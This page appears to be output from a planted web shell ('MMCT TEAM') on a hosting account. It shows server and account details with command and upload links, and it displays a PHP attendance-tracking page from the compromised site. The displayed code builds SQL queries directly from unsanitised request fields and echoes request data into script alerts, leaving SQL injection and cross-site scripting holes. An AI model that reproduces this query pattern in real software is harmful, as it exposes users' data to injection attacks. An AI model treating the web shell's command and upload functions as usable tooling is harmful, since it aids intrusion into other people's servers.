MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/public_html/attendance1.php
  <?php include('inc/header.php'); ?>
  
  
  <?php
  
   if($_REQUEST['datafrmSubmit'] == 'Update'){
    	
    	if(!empty($_REQUEST['DID'])){
    		
    	
    	} else {
    		
            $sql_select = "Select * from attendance WHERE att_date='".$_REQUEST['att_date']."'";
            $query_select = mysqli_query($con, $sql_select);
            $res_select = mysqli_fetch_array($query_select);
            
            if($res_select['att_date']==$_REQUEST['att_date']){
                 echo "<script>alert('".$_REQUEST['att_date']." Attendence is Already Marked');location.href='attendance.php';</script>";
                
            }else{
                
            
                
                
               $e_id = count($_REQUEST['emp_id']);
               
 
 
                for($i=0;$i<$e_id;$i++){
                    
                $e_id = $_REQUEST['e_id'][$i];
                $emp_id = $_REQUEST['emp_id'][$i];
                $name = $_REQUEST['name'][$i];
                $attend = $_REQUEST['attend'][$i];
                
                $sql_insert = "insert into attendance set  e_id = '".$e_id."', emp_id = '".$emp_id."', name = '".$name."', att_date = '".$_REQUEST['att_date']."', attend = '".$attend."', month = '".$_REQUEST['month']."'";
        		$query_insert = mysqli_query($con, $sql_insert);
                    }
        		if($query_insert){
                $_SESSION['success'] = "Update"; 
                $_SESSION['successdes'] = "Attendence updated successfully!"; 
        		echo "<script>alert('Attendence Mared Successfully!');location.href='attendance.php';</script>";
      
              }else{ 
                 echo "<script>alert('Inserted Error');location.href='attendance.php';</script>";
                
                 }
                
               
            }	
    		
    	}
    }
    
    
    ?>
<div class="dash-container">
    <div class="dash-content">
        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="d-block d-sm-flex align-items-center justify-content-between">
                            <div>
                                <div class="page-header-title">
                                    <h4 class="m-b-10">Attendance</h4>
                                </div>
                                <ul class="breadcrumb">
                                    <li class="breadcrumb-item"><a href="dashboard.php">Home</a></li>
                                    <li class="breadcrumb-item active" aria-current="page">HR</li>
                                    <li class="breadcrumb-item active" aria-current="page">Attendance</li>
                                </ul>
                            </div>
                            <div>
                                <div class="row">
                                    <div class="col-auto">
                                        <a
                                            href=""
                                            class="btn btn-sm btn-primary btn-icon"
                                            data-ajax-popup="true"
                                            data-title="Create User"
                                            data-url=""
                                            data-size="md"
                                            title=""
                                            data-bs-toggle="tooltip"
                                            data-bs-placement="top"
                                            data-bs-original-title="Create"
                                        >
                                            <i class="fa fa-plus"></i>
                                        </a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->
        <!-- [ Main Content ] start -->
        <div class="row">
            <div class="col-lg-12 col-sm-12 col-md-12">
                <div class="card">
                    <?php include 'modules/content-container.php';?>
                    <div class="card-body table-border-style">
                        
                         <div class="table-scrollable">
                             <div class=""style="font-size: 22px;text-align: center; color: #3a77ff;">
                                 <?php
 
                                        
                                       $myDate = date("d M Y");echo 'Date - '; echo  $myDate;
                                    ?>
                             </div>
                             <form method="post" action="" name="datafrm" id="datafrm" enctype="multipart/form-data">
							<table class="table-bordered table-hover table-checkable order-column  dataTable"id="exportTable" role="grid" aria-describedby="exportTable_info">
								<thead>
									<tr>
										<th width="5%" >S.N.</th>
                                        <th width="15%" >Name</th>
                                        <th width="15%" >Position</th>
                                        <th width="15%" >Employee ID</th>
                                        <th width="25%" >Attendance</th>
									</tr>
								</thead>
								<tbody>
									<?php	
                                	$sql= "SELECT * FROM my_employee WHERE status='1' ORDER BY id DESC";
                                	$qry= mysqli_query($con,$sql);
                                	$i=0;
                                	while($data= mysqli_fetch_array($qry))
                                	{
                                	    $str = $data['description'];
                                	    $st = $data['status'];
                                          $i++; 
                                  ?>
									<tr class="odd gradeX">
									    <td><?php echo $i;?></td>
                                            <td class="left"><?php echo $data['name'];?></td>
                                            <td class="left"><?php echo $data['position'];?></td>
                                            <td class="left"><?php echo $data['emp_id'];?></td>
                                            <td class="left">
                                                <input type="hidden" name="emp_id[]"id="emp_id"value="<?php echo $data['emp_id'];?>">
                                                <input type="hidden" name="name[]"id="name"value="<?php echo $data['name'];?>">
                                                <input type="hidden" name="e_id[]"id="e_id"value="<?php echo $data['id'];?>">
                                                <input type="hidden" name="month"id="month"value="<?php $myDate = date("M Y"); echo  $myDate;?>">
                                                <input type="hidden" name="att_date"id="att_date"value="<?php $myDate = date("d M Y"); echo  $myDate;?>">
                                                <p class=''>
                                                    <select name='attend[]'id='attend'class='form-control input-lg attend'required>
                                                        <option value=''>Select</option>
                                                        <option value='present'>Present</option>
                                                        <option value='absent'>Absent</option>
                                                        <!--<option value='weekend'>Weekend</option>-->
                                                    </select>
                                                    
                                                </p>


                                            </td>
                                            
									</tr>
									<?php }?> 
								</tbody>
							</table>
							<div class="form-group" style="text-align: right;">
                                	<input type="submit" class="btn btn-block btn-primary btn-lg" style="width:140px;" name="datafrmSubmit" id="datafrmSubmit" value="Update" />
                                </div>
							</form>
						</div>
                       
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

    <!-- [ Main Content ] end -->

    <?php include('inc/footer.php'); ?>

MMCT - 2023